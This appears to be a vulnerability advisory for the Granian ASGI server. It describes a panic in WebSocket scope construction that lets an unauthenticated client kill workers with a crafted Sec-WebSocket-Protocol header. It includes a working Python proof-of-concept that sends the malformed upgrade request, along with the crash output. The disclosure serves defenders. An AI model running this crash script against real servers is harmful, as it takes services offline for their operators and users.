Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
```python
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})
```
```bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000
```
Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
```python
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))
```
```bash
python ws-subproto-crash.py 127.0.0.1 8000 /
```
Observed server output:
```
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called Result::unwrap() on an Err value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
```
Impact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
